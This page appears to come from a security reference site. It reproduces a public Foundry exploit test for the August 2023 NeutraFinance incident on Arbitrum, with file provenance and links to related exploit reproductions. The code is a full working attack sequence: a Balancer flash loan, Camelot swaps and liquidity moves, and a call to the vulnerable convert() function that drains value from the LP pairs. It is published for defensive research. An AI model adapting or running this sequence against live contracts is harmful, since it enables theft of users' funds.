Public reproduction file
src/test/2023-08/NeutraFinance_exp.sol
Public reproduction file for dataset entry NeutraFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.19;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/phalcon_xyz/status/1686654241111429120?s=46&t=Oc_WAGUoXqc9c0LidD-zww9// @TX10// https://explorer.phalcon.xyz/tx/arbitrum/0x6301d4c9f7ac1c96a65e83be6ea2fff5000f0b1939ad24955e40890bd9fe612212interface IVault {13 function flashLoan(14 IFlashLoanRecipient recipient,15 IERC20[] memory tokens,16 uint256[] memory amounts,17 bytes memory userData18 ) external;19}21interface IUniswapV2Router01 {22 function factory() external pure returns (address);24 function WETH() external pure returns (address);26 function addLiquidity(27 address tokenA,28 address tokenB,29 uint256 amountADesired,30 uint256 amountBDesired,31 uint256 amountAMin,32 uint256 amountBMin,33 address to,34 uint256 deadline35 ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);37 function addLiquidityETH(38 address token,39 uint256 amountTokenDesired,40 uint256 amountTokenMin,41 uint256 amountETHMin,42 address to,43 uint256 deadline44 ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);46 function removeLiquidity(47 address tokenA,48 address tokenB,49 uint256 liquidity,50 uint256 amountAMin,51 uint256 amountBMin,52 address to,53 uint256 deadline54 ) external returns (uint256 amountA, uint256 amountB);56 function removeLiquidityETH(57 address token,58 uint256 liquidity,59 uint256 amountTokenMin,60 uint256 amountETHMin,61 address to,62 uint256 deadline63 ) external returns (uint256 amountToken, uint256 amountETH);65 function removeLiquidityWithPermit(66 address tokenA,67 address tokenB,68 uint256 liquidity,69 uint256 amountAMin,70 uint256 amountBMin,71 address to,72 uint256 deadline,73 bool approveMax,74 uint8 v,75 bytes32 r,76 bytes32 s77 ) external returns (uint256 amountA, uint256 amountB);79 function removeLiquidityETHWithPermit(80 address token,81 uint256 liquidity,82 uint256 amountTokenMin,83 uint256 amountETHMin,84 address to,85 uint256 deadline,86 bool approveMax,87 uint8 v,88 bytes32 r,89 bytes32 s90 ) external returns (uint256 amountToken, uint256 amountETH);92 function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) external pure returns (uint256 amountB);93}95interface ICamelotRouter is IUniswapV2Router01 {96 function removeLiquidityETHSupportingFeeOnTransferTokens(97 address token,98 uint256 liquidity,99 uint256 amountTokenMin,100 uint256 amountETHMin,101 address to,102 uint256 deadline103 ) external returns (uint256 amountETH);105 function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(106 address token,107 uint256 liquidity,108 uint256 amountTokenMin,109 uint256 amountETHMin,110 address to,111 uint256 deadline,112 bool approveMax,113 uint8 v,114 bytes32 r,115 bytes32 s116 ) external returns (uint256 amountETH);118 function swapExactTokensForTokensSupportingFeeOnTransferTokens(119 uint256 amountIn,120 uint256 amountOutMin,121 address[] calldata path,122 address to,123 address referrer,124 uint256 deadline125 ) external;127 function swapExactETHForTokensSupportingFeeOnTransferTokens(128 uint256 amountOutMin,129 address[] calldata path,130 address to,131 address referrer,132 uint256 deadline133 ) external payable;135 function swapExactTokensForETHSupportingFeeOnTransferTokens(136 uint256 amountIn,137 uint256 amountOutMin,138 address[] calldata path,139 address to,140 address referrer,141 uint256 deadline142 ) external;143}145interface ICamelotFactory {146 event PairCreated(address indexed token0, address indexed token1, address pair, uint256);148 function owner() external view returns (address);150 function feePercentOwner() external view returns (address);152 function setStableOwner() external view returns (address);154 function feeTo() external view returns (address);156 function ownerFeeShare() external view returns (uint256);158 function referrersFeeShare(159 address160 ) external view returns (uint256);162 function getPair(address tokenA, address tokenB) external view returns (address pair);164 function allPairs(165 uint256166 ) external view returns (address pair);168 function allPairsLength() external view returns (uint256);170 function createPair(address tokenA, address tokenB) external returns (address pair);172 function setFeeTo(173 address174 ) external;176 function feeInfo() external view returns (uint256 _ownerFeeShare, address _feeTo);177}179interface ICamelotPair {180 event Approval(address indexed owner, address indexed spender, uint256 value);181 event Transfer(address indexed from, address indexed to, uint256 value);183 function name() external pure returns (string memory);185 function symbol() external pure returns (string memory);187 function decimals() external pure returns (uint8);189 function totalSupply() external view returns (uint256);191 function balanceOf(192 address owner193 ) external view returns (uint256);195 function allowance(address owner, address spender) external view returns (uint256);197 function approve(address spender, uint256 value) external returns (bool);199 function transfer(address to, uint256 value) external returns (bool);201 function transferFrom(address from, address to, uint256 value) external returns (bool);203 function DOMAIN_SEPARATOR() external view returns (bytes32);205 function PERMIT_TYPEHASH() external pure returns (bytes32);207 function nonces(208 address owner209 ) external view returns (uint256);211 function permit(212 address owner,213 address spender,214 uint256 value,215 uint256 deadline,216 uint8 v,217 bytes32 r,218 bytes32 s219 ) external;221 event Mint(address indexed sender, uint256 amount0, uint256 amount1);222 event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);223 event Swap(224 address indexed sender,225 uint256 amount0In,226 uint256 amount1In,227 uint256 amount0Out,228 uint256 amount1Out,229 address indexed to230 );231 event Sync(uint112 reserve0, uint112 reserve1);233 function MINIMUM_LIQUIDITY() external pure returns (uint256);235 function factory() external view returns (address);237 function token0() external view returns (address);239 function token1() external view returns (address);241 function getReserves()242 external243 view244 returns (uint112 reserve0, uint112 reserve1, uint16 token0feePercent, uint16 token1FeePercent);246 function getAmountOut(uint256 amountIn, address tokenIn) external view returns (uint256);248 function kLast() external view returns (uint256);250 function setFeePercent(uint16 token0FeePercent, uint16 token1FeePercent) external;252 function mint(253 address to254 ) external returns (uint256 liquidity);256 function burn(257 address to258 ) external returns (uint256 amount0, uint256 amount1);260 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;262 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data, address referrer) external;264 function skim(265 address to266 ) external;268 function sync() external;270 function initialize(address, address) external;271}273interface IConvert {274 function convert(275 uint256 _amount276 ) external;277}279contract CounterTest is Test {280 IVault valut = IVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);281 IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);282 IERC20 NEU = IERC20(0xdA51015b73cE11F77A115Bb1b8a7049e02dDEcf0);283 IERC20 NEU1 = IERC20(0x6609BE1547166D1C4605F3A243FDCFf467e600C3);284 ICamelotRouter CamelotRouter = ICamelotRouter(0xc873fEcbd354f5A56E00E710B90EF4201db2448d);285 IConvert convert = IConvert(0xdbd3d6040f87A9F822839Cb31195Ad25C2D0D54d);286 ICamelotPair CamelotPair0 = ICamelotPair(0x65eBC8Cfd2aF1D659ef2405a47172830180Ba440);287 ICamelotPair CamelotPair1 = ICamelotPair(0x2ea3CA79413C2EC4C1893D5f8C34C16acB2288A4);289 function setUp() public {290 vm.createSelectFork("arbitrum", 117_189_138);291 vm.label(address(WETH), "WETH");292 vm.label(address(NEU), "NEU");293 }295 function test() public {296 console.log("Attacker's WETH token balance: ", WETH.balanceOf(address(this)));297 IERC20[] memory tokens = new IERC20[](1);298 uint256[] memory amount = new uint256[](1);299 tokens[0] = WETH;300 amount[0] = 1000 ether;301 bytes memory userdata;302 valut.flashLoan(IFlashLoanRecipient(address(this)), tokens, amount, userdata);303 }305 function receiveFlashLoan(306 IERC20[] memory tokens,307 uint256[] memory amounts,308 uint256[] memory feeAmounts,309 bytes memory userData310 ) external {311 console.log("After flashloan attacker's WETH token balance: ", WETH.balanceOf(address(this)));312 WETH.approve(address(CamelotRouter), type(uint256).max);313 ICamelotFactory factoryAddr = ICamelotFactory(CamelotRouter.factory());314 console.log("Factory Address: ", address(factoryAddr));315 CamelotPair0 = ICamelotPair(factoryAddr.getPair(address(WETH), address(NEU)));316 console.log("CMLT-LP0 addresss: ", address(CamelotPair0));317 console.log("CMLT-LP0 addresss: ", factoryAddr.getPair(address(WETH), address(NEU)));318 address tokenA = CamelotPair0.token0();319 address tokenB = CamelotPair0.token1();320 address[] memory path = new address[](2);321 path[0] = tokenA;322 path[1] = tokenB;323 CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(324 0.15 ether, 0, path, address(this), address(this), block.timestamp + 30 minutes325 );326 console.log("swap token [WETH,NEU] 0.15 WETH -> NEU");327 uint256 neuAmount = NEU.balanceOf(address(this));328 console.log("Attacker's NEU token balance: ", neuAmount);329 NEU.approve(address(CamelotRouter), neuAmount);330 uint256 lpAmount0 = CamelotPair0.balanceOf(address(this));331 console.log("Balance of Attacker in CMLT-LP0: ", lpAmount0);332 CamelotRouter.addLiquidity(333 tokenA, tokenB, 0.15 ether, neuAmount, 0, 0, address(this), block.timestamp + 30 minutes334 );335 lpAmount0 = CamelotPair0.balanceOf(address(this));336 console.log("Balance of Attacker in CMLT-LP0 after addLiquidity: ", lpAmount0);337 CamelotPair0.approve(address(convert), type(uint256).max);338 uint256 cvAmount = CamelotPair1.balanceOf(address(convert));339 console.log("Balance of Convert in CMLT-LP1: ", cvAmount);340 (uint256 lp0_reserve0, uint256 lp0_reserve1,,) = CamelotPair0.getReserves();341 console.log("LP0 reserve0 amount: ", lp0_reserve0);342 console.log("LP0 reserve1 amount: ", lp0_reserve1);343 (uint256 lp1_reserve0, uint256 lp1_reserve1,,) = CamelotPair1.getReserves();344 console.log("LP1 reserve0 amount: ", lp1_reserve0);345 console.log("LP1 reserve1 amount: ", lp1_reserve1);346 uint256 lp0_totalsupply = CamelotPair0.totalSupply();347 console.log("LP0 totalSupply amount: ", lp0_totalsupply);348 uint256 lp1_totalsupply = CamelotPair1.totalSupply();349 console.log("LP1 totalSupply amount: ", lp1_totalsupply);350 neuAmount = NEU.balanceOf(address(this));351 console.log("Attacker's NEU token balance: ", neuAmount);352 CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(353 849 ether, 0, path, address(this), address(this), block.timestamp + 30 minutes354 );355 console.log("swap token [WETH,NEU] 849 WETH -> NEU");356 neuAmount = NEU.balanceOf(address(this));357 console.log("Attacker's NEU token balance: ", neuAmount);358 uint256 wethAmount = WETH.balanceOf(address(this));359 console.log("Attacker's WETH token balance: ", wethAmount);360 (lp0_reserve0, lp0_reserve1,,) = CamelotPair0.getReserves();361 console.log("LP0 reserve0 amount: ", lp0_reserve0);362 console.log("LP0 reserve1 amount: ", lp0_reserve1);363 (lp1_reserve0, lp1_reserve1,,) = CamelotPair1.getReserves();364 console.log("LP1 reserve0 amount: ", lp1_reserve0);365 console.log("LP1 reserve1 amount: ", lp1_reserve1);366 convert.convert(lpAmount0);367 console.log("call the convert");368 neuAmount = NEU.balanceOf(address(this));369 console.log("Attacker's NEU token balance: ", neuAmount);370 wethAmount = WETH.balanceOf(address(this));371 console.log("Attacker's WETH token balance: ", wethAmount);372 NEU.approve(address(CamelotRouter), type(uint256).max);373 address[] memory path1 = new address[](2);374 path1[0] = tokenB;375 path1[1] = tokenA;376 CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(377 neuAmount, 0, path1, address(this), address(this), block.timestamp + 30 minutes378 );379 console.log("swap token [NEU,WETH]");380 wethAmount = WETH.balanceOf(address(this));381 console.log("Attacker's WETH token balance: ", wethAmount);382 uint256 lpAmount1 = CamelotPair1.balanceOf(address(this));383 console.log("Balance of Attacker in CMLT-LP1: ", lpAmount1);384 CamelotPair1.transfer(address(CamelotPair1), lpAmount1);385 (uint256 amount0, uint256 amount1) = CamelotPair1.burn(address(this));386 console.log("CMLT-LP1 burn amount: ", amount0, amount1);387 uint256 neu1Amount = NEU1.balanceOf(address(this));388 console.log("Attacker's NEU1 token balance: ", neu1Amount);389 wethAmount = WETH.balanceOf(address(this));390 console.log("Attacker's WETH token balance: ", wethAmount);391 address[] memory path2 = new address[](2);392 path2[0] = address(NEU1);393 path2[1] = address(WETH);394 NEU1.approve(address(CamelotRouter), type(uint256).max);395 CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(396 neu1Amount, 0, path2, address(this), address(this), block.timestamp + 30 minutes397 );398 console.log("swap token [NEU1,WETH]");399 wethAmount = WETH.balanceOf(address(this));400 console.log("Attacker's WETH token balance: ", wethAmount);401 (lp0_reserve0, lp0_reserve1,,) = CamelotPair0.getReserves();402 console.log("LP0 reserve0 amount: ", lp0_reserve0);403 console.log("LP0 reserve1 amount: ", lp0_reserve1);404 (lp1_reserve0, lp1_reserve1,,) = CamelotPair1.getReserves();405 console.log("LP1 reserve0 amount: ", lp1_reserve0);406 console.log("LP1 reserve1 amount: ", lp1_reserve1);407 WETH.transfer(address(valut), 1000 ether);408 console.log("refund flashloan");409 wethAmount = WETH.balanceOf(address(this));410 console.log("Attacker's WETH token balance: ", wethAmount);411 }412}Analysis
Dataset entry
Public Foundry test for “NeutraFinance” (2023-08-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
12 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-08/Balancer_exp.solSame month in the dataset · 220 lines
- src/test/2023-08/BTC20_exp.solSame month in the dataset · 128 lines
- src/test/2023-08/CurveBurner_exp.solSame month in the dataset · 151 lines
- src/test/2023-08/EAC_exp.solSame month in the dataset · 54 lines
- src/test/2023-08/EarningFram_exp.solSame month in the dataset · 95 lines
- src/test/2023-08/EHIVE_exp.solSame month in the dataset · 142 lines
- src/test/2023-08/Exactly_exp.solSame month in the dataset · 479 lines
- src/test/2023-08/GSS_exp.solSame month in the dataset · 62 lines
- src/test/2023-08/Leetswap_exp.solSame month in the dataset · 66 lines
- src/test/2023-08/SVT_exp.solSame month in the dataset · 58 lines
- src/test/2023-08/Uwerx_exp.solSame month in the dataset · 72 lines
- src/test/2023-08/Zunami_exp.solSame month in the dataset · 200 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- NeutraFinance
- Path
- src/test/2023-08/NeutraFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 176c7c164d9d59b997b525459b64d530fe428899
- Language
- Solidity
- Size
- 413 lines
- Date
- 2023-08-01
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-08/NeutraFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 176c7c164d9d59b997b525459b64d530fe428899, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.